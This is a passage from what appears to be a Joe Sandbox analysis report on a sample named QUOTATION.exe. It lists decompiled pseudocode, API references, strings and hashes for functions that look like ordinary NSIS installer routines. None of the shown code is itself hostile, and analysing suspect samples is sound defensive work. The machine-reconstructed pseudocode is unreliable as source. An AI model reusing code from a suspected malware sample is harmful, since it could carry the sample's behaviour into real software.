										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00405B73(_t44, 0, 1));
					_t12 = GetShortPathNameA(_t44, 0x421a98, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x00405c49
0x00405c52
0x00405c59
0x00405c6d
0x00405c95
0x00405ca0
0x00405ca4
0x00405cc4
0x00405ccb
0x00405cd5
0x00405ce2
0x00405ce7
0x00405cec
0x00405cf0
0x00405cff
0x00405d01
0x00405d0e
0x00405d12
0x00405dad
0x00000000
0x00405d28
0x00405d35
0x00405d59
0x00405d5d
0x00405d7c
0x00405d80
0x00405d80
0x00405d82
0x00405d8b
0x00405d96
0x00405da1
0x00405da7
0x00000000
0x00405da7
0x00405d5f
0x00405d62
0x00405d6d
0x00405d69
0x00405d6b
0x00405d6c
0x00405d6c
0x00405d74
0x00405d76
0x00000000
0x00405d76
0x00405d40
0x00405d46
0x00000000
0x00405d46
0x00405d12
0x00405cf0
0x00405c6f
0x00405c7a
0x00405c83
0x00405c87
0x00000000
0x00000000
0x00405c87
0x00405db8

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,00000000,00405DDA,?,?), ref: 00405C7A
GetShortPathNameA.KERNEL32(?,00421A98,00000400), ref: 00405C83

Part of subcall function 00405AD8: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D33,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405AE8
Part of subcall function 00405AD8: lstrlenA.KERNEL32(00000000,?,00000000,00405D33,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B1A

GetShortPathNameA.KERNEL32(?,00421E98,00000400), ref: 00405CA0
wsprintfA.USER32 ref: 00405CBE
GetFileSize.KERNEL32(00000000,00000000,00421E98,C0000000,00000004,00421E98,?,?,?,?,?), ref: 00405CF9
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405D08
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D40
SetFilePointer.KERNEL32(004093B8,00000000,00000000,00000000,00000000,00421698,00000000,-0000000A,004093B8,00000000,[Rename],00000000,00000000,00000000), ref: 00405D96
GlobalFree.KERNEL32(00000000), ref: 00405DA7
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405DAE

Part of subcall function 00405B73: GetFileAttributesA.KERNELBASE(00000003,00402E04,C:\Users\user\Desktop\QUOTATION.exe,80000000,00000003), ref: 00405B77
Part of subcall function 00405B73: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B99

Strings

%s=%s, xrefs: 00405CB4
[Rename], xrefs: 00405D28, 00405D3A

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %s=%s$[Rename]
API String ID: 2171350718-1727408572
Opcode ID: 442663d250bfdbc290f8e971c6720eb5308fb07ccd41dbdaaacc117d0e8b41e7
Instruction ID: 6ce2b9c5035192946699426d8eaee961ce023100f281e1c8236941499ee81097
Opcode Fuzzy Hash: 442663d250bfdbc290f8e971c6720eb5308fb07ccd41dbdaaacc117d0e8b41e7
Instruction Fuzzy Hash: 19311331605B19ABD6207B659C4CFAB3A6CDF45714F14003BFA01FA2D2E67CA8018EBD

Uniqueness

Uniqueness Score: -1.00%

Function 00406244 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406244(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E004059DF(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E0040599D("*?|<>/\":", _t5))) == 0) {
							E00405B2E(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00406246
0x0040624e
0x00406262
0x00406262
0x00406268
0x00406275
0x00406275
0x00406276
0x00406278
0x0040627c
0x0040627e
0x00406287
0x00406289
0x004062a3
0x004062ab
0x004062ab
0x004062b0
0x004062b2
0x004062b4
0x004062b8
0x004062b9
0x004062bc
0x004062c4
0x004062c6
0x004062ca
0x00000000
0x00000000
0x004062d0
0x004062d5
0x00000000
0x00000000
0x00000000
0x004062d5
0x004062da

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\QUOTATION.exe",76B43410,C:\Users\user\AppData\Local\Temp\,00000000,00403210,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403447,?,00000006,00000008,0000000A), ref: 0040629C
CharNextA.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004062A9
CharNextA.USER32(?,"C:\Users\user\Desktop\QUOTATION.exe",76B43410,C:\Users\user\AppData\Local\Temp\,00000000,00403210,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403447,?,00000006,00000008,0000000A), ref: 004062AE
CharPrevA.USER32(?,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000,00403210,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403447,?,00000006,00000008,0000000A), ref: 004062BE

Strings

*?|<>/":, xrefs: 0040628C
"C:\Users\user\Desktop\QUOTATION.exe", xrefs: 00406280
C:\Users\user\AppData\Local\Temp\, xrefs: 00406245

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\QUOTATION.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2837947
Opcode ID: 6ae2be844214803d006e8a2b4c6c3a53132e84b4cb1e19317121ab57d6ea06c4
Instruction ID: 98a55a52ac5494643caf5fd5857683424a9a77f1076ac2e6562e20d377716777
Opcode Fuzzy Hash: 6ae2be844214803d006e8a2b4c6c3a53132e84b4cb1e19317121ab57d6ea06c4
Instruction Fuzzy Hash: EE11E25180879029EB3226344C40B7B7F988F5B760F2904FFE9D6722C2D67C5C52876E

Uniqueness

Uniqueness Score: -1.00%

Function 004040CF Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004040CF(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x004040e1
0x00404197
0x00000000
0x00404197
0x004040f2
0x004040f6
0x00000000
0x00404110
0x00404110
0x00404119
0x00000000
0x00000000
0x0040411b
0x00404127
0x0040412a
0x0040412a
0x00404130
0x00404136
0x00404136
0x00404142
0x00404148
0x0040414f
0x00404152
0x00404155
0x00404157
0x00404157
0x0040415f
0x00404165
0x00404165
0x0040416f
0x00404174
0x00404177
0x0040417c
0x0040417f
0x0040417f
0x0040418f
0x0040418f
0x00000000
0x00404192

APIs

GetWindowLongA.USER32(?,000000EB), ref: 004040EC
GetSysColor.USER32(00000000), ref: 0040412A
SetTextColor.GDI32(?,00000000), ref: 00404136
SetBkMode.GDI32(?,?), ref: 00404142
GetSysColor.USER32(?), ref: 00404155
SetBkColor.GDI32(?,?), ref: 00404165
DeleteObject.GDI32(?), ref: 0040417F
CreateBrushIndirect.GDI32(?), ref: 00404189

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 85c1166dd3296ad08f2f8f2b617086cce748397ee5d912704cef396037712cfd
Instruction ID: 778babcb3f3cb4702814cedc7f3687c69535c8aec6342fb1ab2b401637f1774e
Opcode Fuzzy Hash: 85c1166dd3296ad08f2f8f2b617086cce748397ee5d912704cef396037712cfd
Instruction Fuzzy Hash: 8A21C7715047049BC7309F78DC4CB5BBBF8AF91710B048A2AEA96A62E0D334E884CB55

Uniqueness

Uniqueness Score: -1.00%

Function 6F6024D8 Relevance: 10.6, APIs: 7, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6F6024D8(intOrPtr* _a4) {
				char _v80;
				int _v84;
				intOrPtr _v88;
				short _v92;
				intOrPtr* _t28;
				void* _t30;
				intOrPtr _t31;
				signed int _t43;
				void* _t44;
				intOrPtr _t45;
				void* _t48;

				_t44 = E6F601215();
				_t28 = _a4;
				_t45 =  *((intOrPtr*)(_t28 + 0x814));
				_v88 = _t45;
				_t48 = (_t45 + 0x41 << 5) + _t28;
				do {
					if( *((intOrPtr*)(_t48 - 4)) >= 0) {
					}
					_t43 =  *(_t48 - 8) & 0x000000ff;
					if(_t43 <= 7) {
						switch( *((intOrPtr*)(_t43 * 4 +  &M6F602626))) {
							case 0:
								 *_t44 = 0;
								goto L17;
							case 1:
								__eax =  *__eax;
								if(__ecx > __ebx) {
									_v84 = __ecx;
									__ecx =  *(0x6f60307c + __edx * 4);
									__edx = _v84;
									__ecx = __ecx * __edx;
									asm("sbb edx, edx");
									__edx = __edx & __ecx;
									__eax = __eax &  *(0x6f60309c + __edx * 4);
								}
								_push(__eax);
								goto L15;
							case 2:
								__eax = E6F601429(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L16;
							case 3:
								__eax = lstrcpynA(__edi,  *__eax,  *0x6f60405c);
								goto L17;
							case 4:
								__ecx =  *0x6f60405c;
								__edx = __ecx - 1;
								__eax = WideCharToMultiByte(__ebx, __ebx,  *__eax, __ecx, __edi, __edx, __ebx, __ebx);
								__eax =  *0x6f60405c;
								 *((char*)(__eax + __edi - 1)) = __bl;
								goto L17;
							case 5:
								__ecx =  &_v80;
								_push(0x27);
								_push(__ecx);
								_push( *__eax);
								__imp__StringFromGUID2();
								__eax =  &_v92;
								__eax = WideCharToMultiByte(__ebx, __ebx,  &_v92,  &_v92, __edi,  *0x6f60405c, __ebx, __ebx);
								goto L17;
							case 6:
								_push( *__esi);
								L15:
								__eax = wsprintfA(__edi, 0x6f604000);
								L16:
								__esp = __esp + 0xc;
								goto L17;
						}
					}
					L17:
					_t30 =  *(_t48 + 0x14);
					if(_t30 != 0 && ( *_a4 != 2 ||  *((intOrPtr*)(_t48 - 4)) > 0)) {
						GlobalFree(_t30);
					}
					_t31 =  *((intOrPtr*)(_t48 + 0xc));
					if(_t31 != 0) {
						if(_t31 != 0xffffffff) {
							if(_t31 > 0) {
								E6F6012D1(_t31 - 1, _t44);
								goto L26;
							}
						} else {
							E6F601266(_t44);
							L26:
						}
					}
					_v88 = _v88 - 1;
					_t48 = _t48 - 0x20;
				} while (_v88 >= 0);
				return GlobalFree(_t44);
			}

0x6f6024e4
0x6f6024e6
0x6f6024f0
0x6f6024f6
0x6f602500
0x6f602504
0x6f602509
0x6f602509
0x6f602511
0x6f602518
0x6f60251e
0x00000000
0x6f602525
0x00000000
0x00000000
0x6f60252c
0x6f602530
0x6f602533
0x6f602537
0x6f60253e
0x6f602542
0x6f602548
0x6f60254a
0x6f60254c
0x6f60254c
0x6f602553
0x00000000
0x00000000
0x6f60255c
0x00000000
0x00000000
0x6f60256c
0x00000000
0x00000000
0x6f602598
0x6f6025a0
0x6f6025aa
0x6f6025ac
0x6f6025b1
0x00000000
0x00000000
0x6f602574
0x6f602578
0x6f60257a
0x6f60257b
0x6f60257d
0x6f60258d
0x6f602594
0x00000000
0x00000000
0x6f6025b7
0x6f6025b9
0x6f6025bf
0x6f6025c5
0x6f6025c5
0x00000000
0x00000000
0x6f60251e
0x6f6025c8
0x6f6025c8
0x6f6025cd
0x6f6025de
0x6f6025de
0x6f6025e4
0x6f6025e9
0x6f6025ee
0x6f6025fa
0x6f6025ff
0x00000000
0x6f602604
0x6f6025f0
0x6f6025f1
0x6f602605
0x6f602605
0x6f6025ee
0x6f602606
0x6f60260a
0x6f60260d
0x6f602625

APIs

Part of subcall function 6F601215: GlobalAlloc.KERNELBASE(00000040,6F601233,?,6F6012CF,-6F60404B,6F6011AB,-000000A0), ref: 6F60121D

GlobalFree.KERNEL32(?), ref: 6F6025DE
GlobalFree.KERNEL32(00000000), ref: 6F602618

Memory Dump Source

Source File: 00000002.00000002.3716779117.000000006F601000.00000020.00000001.01000000.00000005.sdmp, Offset: 6F600000, based on PE: true

Associated: 00000002.00000002.3716683348.000000006F600000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716864165.000000006F603000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716944501.000000006F605000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f600000_QUOTATION.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 55eafb851b72622c73672d14e56a6ee12b180ccc4a8c78b97e1b2ce3417c8cd4
Instruction ID: 793132a3c21b1865f3b9ec4887e102f9d184a9ec6f231a064c0fea1c27bbc8fe
Opcode Fuzzy Hash: 55eafb851b72622c73672d14e56a6ee12b180ccc4a8c78b97e1b2ce3417c8cd4
Instruction Fuzzy Hash: 6C410F72108200EFDB1AAF64CF95C6B77BAFF86715B30492DF60293140DB30A814CB29

Uniqueness

Uniqueness Score: -1.00%

Function 004049BB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049BB(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x004049c9
0x004049d6
0x004049dc
0x00404a1a
0x00404a1a
0x00404a29
0x00404a30
0x00000000
0x00404a32
0x004049de
0x004049ed
0x004049f5
0x004049f8
0x00404a0a
0x00404a10
0x00404a17
0x00000000
0x00404a17
0x00000000

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004049D6
GetMessagePos.USER32 ref: 004049DE
ScreenToClient.USER32(?,?), ref: 004049F8
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404A0A
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404A30

Strings

f, xrefs: 00404A0C

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b655f89ca4bb62ef2ecf269f26a72b4f16410e1a4a94cceed0b0bba942de31e0
Instruction ID: 78e79842b3afbaa1123eb4bc953d8a824fe30bd623f786c3032228cde2642f29
Opcode Fuzzy Hash: b655f89ca4bb62ef2ecf269f26a72b4f16410e1a4a94cceed0b0bba942de31e0
Instruction Fuzzy Hash: DA018071D40218BAEB00DB94DC81BFEBBB8AB45B11F10412BBA00B61D0C7B469418BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402CDD Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402CDD(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x4128b8; // 0xa68a3
					_t11 =  *0x41e8c4; // 0xa8a90
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402cea
0x00402cf8
0x00402cfe
0x00402cfe
0x00402d0c
0x00402d0e
0x00402d14
0x00402d1b
0x00402d1d
0x00402d1d
0x00402d33
0x00402d43
0x00402d55
0x00402d55
0x00402d5d

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402CF8
MulDiv.KERNEL32(000A68A3,00000064,000A8A90), ref: 00402D23
wsprintfA.USER32 ref: 00402D33
SetWindowTextA.USER32(?,?), ref: 00402D43
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402D55

Strings

verifying installer: %d%%, xrefs: 00402D2D

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: be9cfeef7a30176cc4b43e70d30b18a0c7ce5305aee0f330691da59d71d99e6c
Instruction ID: 989b2dafafbc5add767bef13d928cf85595003a1ad1b8b7172a09c7de12a9e27
Opcode Fuzzy Hash: be9cfeef7a30176cc4b43e70d30b18a0c7ce5305aee0f330691da59d71d99e6c
Instruction Fuzzy Hash: 3801EC71A40209ABEF20AF60DD49FAE3769EB04305F008039FA06AA1D0D7B599558F59

Uniqueness

Uniqueness Score: -1.00%

Function 6F6022F1 Relevance: 9.1, APIs: 6, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6F6022F1(void* __edx, intOrPtr _a4) {
				signed int _v4;
				signed int _v8;
				void* _t38;
				signed int _t39;
				void* _t40;
				void* _t43;
				void* _t48;
				signed int* _t50;
				signed char* _t51;

				_v8 = 0 |  *((intOrPtr*)(_a4 + 0x814)) > 0x00000000;
				while(1) {
					_t9 = _a4 + 0x818; // 0x818
					_t51 = (_v8 << 5) + _t9;
					_t38 = _t51[0x18];
					if(_t38 == 0) {
						goto L9;
					}
					_t48 = 0x1a;
					if(_t38 == _t48) {
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						if(_t38 <= 0 || _t38 > 0x19) {
							_t51[0x18] = _t48;
						} else {
							_t38 = E6F6012AD(_t38 - 1);
							L10:
						}
						goto L11;
					} else {
						_t38 = E6F60123B();
						L11:
						_t43 = _t38;
						_t13 =  &(_t51[8]); // 0x820
						_t50 = _t13;
						if(_t51[4] >= 0) {
						}
						_t39 =  *_t51 & 0x000000ff;
						_t51[0x1c] = _t51[0x1c] & 0x00000000;
						_v4 = _t39;
						if(_t39 > 7) {
							L27:
							_t40 = GlobalFree(_t43);
							if(_v8 == 0) {
								return _t40;
							}
							if(_v8 !=  *((intOrPtr*)(_a4 + 0x814))) {
								_v8 = _v8 + 1;
							} else {
								_v8 = _v8 & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t39 * 4 +  &M6F60247E))) {
								case 0:
									 *_t50 =  *_t50 & 0x00000000;
									goto L27;
								case 1:
									__eax = E6F6012FE(__ebx);
									goto L20;
								case 2:
									 *__ebp = E6F6012FE(__ebx);
									_a4 = __edx;
									goto L27;
								case 3:
									__eax = E6F601224(__ebx);
									 *(__esi + 0x1c) = __eax;
									L20:
									 *__ebp = __eax;
									goto L27;
								case 4:
									 *0x6f60405c =  *0x6f60405c +  *0x6f60405c;
									__edi = GlobalAlloc(0x40,  *0x6f60405c +  *0x6f60405c);
									 *0x6f60405c = MultiByteToWideChar(0, 0, __ebx,  *0x6f60405c, __edi,  *0x6f60405c);
									if(_v4 != 5) {
										 *(__esi + 0x1c) = __edi;
										 *__ebp = __edi;
									} else {
										__eax = GlobalAlloc(0x40, 0x10);
										_push(__eax);
										 *(__esi + 0x1c) = __eax;
										_push(__edi);
										 *__ebp = __eax;
										__imp__CLSIDFromString();
										__eax = GlobalFree(__edi);
									}
									goto L27;
								case 5:
									if( *__ebx != 0) {
										__eax = E6F6012FE(__ebx);
										 *__edi = __eax;
									}
									goto L27;
								case 6:
									__esi =  *(__esi + 0x18);
									__esi = __esi - 1;
									__esi = __esi *  *0x6f60405c;
									__esi = __esi +  *0x6f604064;
									__eax = __esi + 0xc;
									 *__edi = __esi + 0xc;
									asm("cdq");
									__eax = E6F601429(__edx, __esi + 0xc, __edx, __esi);
									goto L27;
							}
						}
					}
					L9:
					_t38 = E6F601224(0x6f604034);
					goto L10;
				}
			}

0x6f602306
0x6f60230a
0x6f602315
0x6f602315
0x6f60231c
0x6f602321
0x00000000
0x00000000
0x6f602325
0x6f602328
0x00000000
0x00000000
0x6f60232d
0x6f602338
0x6f602348
0x6f60233f
0x6f602341
0x6f602357
0x6f602357
0x00000000
0x6f60232f
0x6f60232f
0x6f602358
0x6f60235c
0x6f60235e
0x6f60235e
0x6f602361
0x6f602361
0x6f602369
0x6f60236c
0x6f602373
0x6f602377
0x6f602446
0x6f602447
0x6f602452
0x6f60247d
0x6f60247d
0x6f602462
0x6f60246e
0x6f602464
0x6f602464
0x6f602464
0x00000000
0x6f60237d
0x6f60237d
0x00000000
0x6f602384
0x00000000
0x00000000
0x6f60238d
0x00000000
0x00000000
0x6f60239b
0x6f60239e
0x00000000
0x00000000
0x6f6023a7
0x6f6023ac
0x6f6023af
0x6f6023b0
0x00000000
0x00000000
0x6f6023bd
0x6f6023c8
0x6f6023d7
0x6f6023e2
0x6f602405
0x6f602408
0x6f6023e4
0x6f6023e8
0x6f6023ee
0x6f6023ef
0x6f6023f2
0x6f6023f3
0x6f6023f6
0x6f6023fd
0x6f6023fd
0x00000000
0x00000000
0x6f602410
0x6f602413
0x6f60241f
0x6f602421
0x00000000
0x00000000
0x6f602424
0x6f602427
0x6f602428
0x6f60242f
0x6f602436
0x6f602439
0x6f60243b
0x6f60243e
0x00000000
0x00000000
0x6f60237d
0x6f602377
0x6f60234d
0x6f602352
0x00000000
0x6f602352

APIs

GlobalFree.KERNEL32(00000000), ref: 6F602447

Part of subcall function 6F601224: lstrcpynA.KERNEL32(00000000,?,6F6012CF,-6F60404B,6F6011AB,-000000A0), ref: 6F601234

GlobalAlloc.KERNEL32(00000040,?), ref: 6F6023C2
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 6F6023D7
